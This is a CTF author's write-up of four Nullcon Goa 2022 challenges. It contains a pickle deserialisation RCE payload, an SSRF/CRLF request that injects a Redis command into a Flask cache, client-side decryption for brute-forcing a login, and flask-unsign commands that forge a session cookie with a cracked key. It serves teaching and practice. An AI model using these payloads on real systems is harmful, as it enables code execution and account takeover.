Winja CTF Offical Writeup | Nullcon Goa 2022

Hi there!

This blog contains the write-up for 2 source code and 2 web challenges that I created for Winja CTF for the Nullcon Goa 2022 event.

Source Code Review Challenges

Source code repo: https://github.com/p3n7a90n/WinjaCTF_NullconGoa2022

Cache Assisted Satellites

Desc

This challenge was based on SSRF+CRLF+Deserilisation which leads to RCE

  • One of the endpoints (/searchCVE) was responsible for looking for the CVE based on the given python packages in the publically available safety database searchCVE Endpoint◎ searchCVE Endpoint
  • Based on the given packages from the request parameter, it checks if the result is present in the cache or not
  • If the package is not present in the cache then it searches the packages in the local JSON file(public safety database) and if the file has any entry, it updates the cache and returns the CVE’s.
  • flask_caching package is used for implementing the cache via Redis as mentioned in the config. Redis Cache◎ Redis Cache
  • In another endpoint (/checkStatus), host request parameter was directly being used to make a GET call using urllib3 python packages.
  • Urllib3 package version was outdated and it’s vulnerable to CRLF. urllib3 version◎ urllib3 version
  • flask_caching package, serialise the data that needs to be stored in the cache when the set method is called and store it in the redis as key-value pair. flask_caching_serialise_snippet◎ flask_caching_serialise_snippet
  • When the get method is called, it fetches the serialised data from the Redis key-value pair and deserialises it. flask_caching_deserialise_snippet◎ flask_caching_deserialise_snippet

Got the idea right, we have to pollute the Redis key-value pair using SSRF+CRLF and when flask-cache loads/deserialise our data, we will get an RCE

Solution

  • Generate the serialised payload using the below python script, which is just creating a file flag in /var/www location same as /flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import pickle,os


class rce_payload:
    def __reduce__(self):
        cmd = 'cat /flag>/var/www/flag'
        return (os.system, (cmd,))


def pickle_ser():
    pickled = pickle.dumps(rce_payload())
    return pickled  # Serializing the payload

print(pickle_ser())
  • Send a GET request to the checkStatus endpoint, to pollute the Redis value using SSRF and CRLF
https://cache.chall.winja.site/checkStatus?host=redis:6379/%0d%0aSET%20flask_cache_14cent%20%22!\x80\x04\x952\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x17cat%20/flag%3E/var/www/flag\x94\x85\x94R\x94.%22%0d%0a
  • Send a GET request to the searchCVE endpoint, using the same package name used for the key in the redis. https://cache.chall.winja.site/searchCVE?package=14cent

  • In the challenge, there was one more URL mentioned which was running a simple python server in the web(/var/www) dir.

  • Hit the below endpoint to get the flag.
    https://cache1.chall.winja.site/flag

  • Note:

    • User could have directly brute-forced the second python server URL to get the flag without solving the challenge.
    • For that purpose, one script was running which was deleting every file under web(/var/www) after 30 sec to prevent the above issue.
    • Rate limiting was also implemented based on the X-Real-IP, not allowing more than 5 requests in 30 seconds.
  • flag{c535973e435cf1fd36b439b6f94cea3b_HmM_c@cH3_c4n_BE_u5eful}

SATCOM

Desc

This challenge was based on the SSL/TLS WebSocket config

  • In the /websocket endpoint, domain and port was the request parameter and then connectServer method was called based on the user-supplied domain and port params. websocket Endpoint◎ websocket Endpoint
  • connectServer method just runs the hello method using aysncio.
  • In the hello method, based on the URL and port, it tries to connect to the WebSocket server using the defined ssl_context. hello method◎ hello method
  • In ssl_context, root_ca is set to ISRG Root X1. root_ca◎ root_ca
  • Root CA is set to ISRG Root X1(Lets Encrypt), user cannot use any other certificate provider for hosting their WebSocket to solve the challenge.
  • SNI check was disabled intentionally so that the players don’t have to buy the domain to solve the challenge.

Solution

  • Generate Let’s Encrypt Certificate and use it for setting the ssl_context in the WebSocket server
  • Below is one of the WebSocket server that can be used
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# https://websockets.readthedocs.io/en/stable/intro/quickstart.html#secure-server-example

#!/usr/bin/env python

import asyncio
import pathlib
import ssl
import websockets

async def hello(websocket):
    async for message in websocket:
        print(message)
        await websocket.send("flag")

    # name = await websocket.recv()
    # print(f"<<< {name}")

    # greeting = f"Hello {name}!"

    # await websocket.send(greeting)
    # print(f">>> {greeting}")

ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
#localhost_pem = pathlib.Path(__file__).with_name("localhost.pem")

#localhost_pem = pathlib.Path("/home/p3n7a90n/Documents/Winja/NullconGoa2022/TestFiles/01ce-115-99-221-128.ngrok.io/server_cert.pem")
localhost_pem = pathlib.Path("/home/p3n7a90n/Documents/Winja/NullconGoa2022/TestFiles/selfSigned/self_signed.pem")
ssl_context.load_cert_chain(localhost_pem)
#ssl_context.verify_mode = ssl.CERT_NONE

async def main(): #, ssl=ssl_context
    async with websockets.serve(hello, "localhost", 8765,ssl=ssl_context):
        await asyncio.Future()  # run forever

if __name__ == "__main__":
    asyncio.run(main())
  • Expose the websocket server to the public using tools like ngrok and give the URL and port in the websocket endpoint to connect to the server and send the flag message to receive the flag

  • flag{514f0f2570964dbbba1c81fe6186e3c4_sELf_Si9NeD_C3R7_$H0ULD_H@v3_B3eN_bett3r}

Web Challenges

Old Space

Desc

This challenge was based on client-side encryption.

  • On visiting the challenge link, the user got a Simple Login page. login page◎ login page
  • Observe the request and response after entering the username and password. Encrypted Request and Response◎ Encrypted Request and Response
  • User-supplied Data is getting encrypted on the client side and the same is being sent to the server.
  • Server is also encrypting the response.
  • Wordlist was provided in the challenge, the user just has to look into the client-side code on how the data is getting encrypted and brute force and login page using the wordlist and decrypt the server response to get the flag.

Solution

  • Below is the decrypt method that can be used for decrypting the data.
  • we can get the key by looking at the client-side js code. Client Side◎ Client Side
1
2
3
4
5
6
7
function decrypt(data,status){

    var decrypted = CryptoJS.AES.decrypt(parse(data), key);
    
    console.log("decrypted: ",decrypted.toString(CryptoJS.enc.Utf8));

}
  • flag{93db0b3a2ad9e0586456722c7ee38797_$1mple_clIenT_$1d3_dE8U9g1NG}

UNOOSA

Desc

This challenge is based on the session token weak secret key and observing the request and response carefully.

Solution

  • On visiting the chall link, users get a registration page where they have to register and log in to the application. Register Page◎ Register Page
  • After logging in, On the home page there is one “FIX ME” button Home page◎ Home page
  • After clicking on the “FIX ME” button, observe the request and response Fix me Request◎ Fix me Request
  • Here, Change the request method to POST and the response says “Token is missing” Token missing◎ Token missing
  • Observe the login request and response to get the token. Auth Token◎ Auth Token
  • Add the Authorization token in the flag and in the response it says “you don’t have the roles/permission to view the flag”
  • Copy the session token from the request and use tools like flask-unsign or cookie-monster to brute-force the key which was “temporary_key”
  • Modify the token to include {‘role’:‘flag’} and use the modified token to get the flag
flask-unsign --decode --cookie "eyJ1c2VyIjoicDNuN2E5MG4ifQ.YwDyzw.yQvQYU2EPcr1w6jz0JL8UruhFg"

flask-unsign --unsign --cookie "eyJ1c2VyIjoicDNuN2E5MG4ifQ.YwDyzw.yQvQYU2EPcr1w6jz0JL8UruhFg0"

flask-unsign --sign --cookie "{'user': 'p3n7a90n','role':'flag'}" --secret "temporary_key"
  • flag{a4c59be060db9751cf5c70bbf3cee412_5ecReTkEYiSnoTSo53cR3t}

Hope you had fun/learned something new while solving the challenges.
Feel free to drop any suggestions in the comments section.
Thanks for reading!!!.

Load Comments?